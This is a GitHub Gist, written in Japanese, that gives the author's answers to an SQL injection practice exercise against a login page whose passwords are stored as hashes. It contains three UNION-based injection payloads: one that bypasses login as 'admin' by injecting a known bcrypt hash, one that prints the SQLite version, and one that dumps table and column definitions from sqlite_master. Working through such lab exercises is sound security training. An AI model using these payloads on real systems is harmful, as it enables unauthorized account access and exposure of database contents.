Skip to content

Instantly share code, notes, and snippets.

@michitomo
Created September 19, 2023 06:00
Show Gist options
  • Save michitomo/97f1f80cd217d8be7d9420678c315549 to your computer and use it in GitHub Desktop.
Save michitomo/97f1f80cd217d8be7d9420678c315549 to your computer and use it in GitHub Desktop.
パスワードがハッシュ値で保存されているサイトのSQLインジェクションによる認証回避の練習問題の解答

徳丸さんが出してたSQLインジェクション問題を解いてみたので

事前準備

print password_hash("password", PASSWORD_DEFAULT);

$2y$10$sD6M3QtiI/CGm.AOjJkyVOhH4JSM1fDFRytJv5wvkXoXmIFxT8ANS

実行編

攻撃の結果、以下の状態(ログイン成功:admin)となれば攻撃成功です。

' UNION SELECT 1,
'admin',
'$2y$10$sD6M3QtiI/CGm.AOjJkyVOhH4JSM1fDFRytJv5wvkXoXmIFxT8ANS',
'fake@example.com' --

image

SQLインジェクションを使ってSQLiteのバージョンを表示してください

' UNION SELECT 1,
sqlite_version(),
'$2y$10$sD6M3QtiI/CGm.AOjJkyVOhH4JSM1fDFRytJv5wvkXoXmIFxT8ANS',
'fake@example.com' --

image

SQLインジェクションを使ってテーブル情報(テーブル名や列名など)を表示してください

' UNION SELECT 1,
json_group_array(json_object('type', IFNULL(type, 'N/A'), 'name', IFNULL(name, 'N/A'), 'tbl_name', IFNULL(tbl_name, 'N/A'), 'rootpage', IFNULL(rootpage, 'N/A'), 'sql', IFNULL(sql, 'N/A'))),
'$2y$10$sD6M3QtiI/CGm.AOjJkyVOhH4JSM1fDFRytJv5wvkXoXmIFxT8ANS',
'fake@example.com' FROM sqlite_master --

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment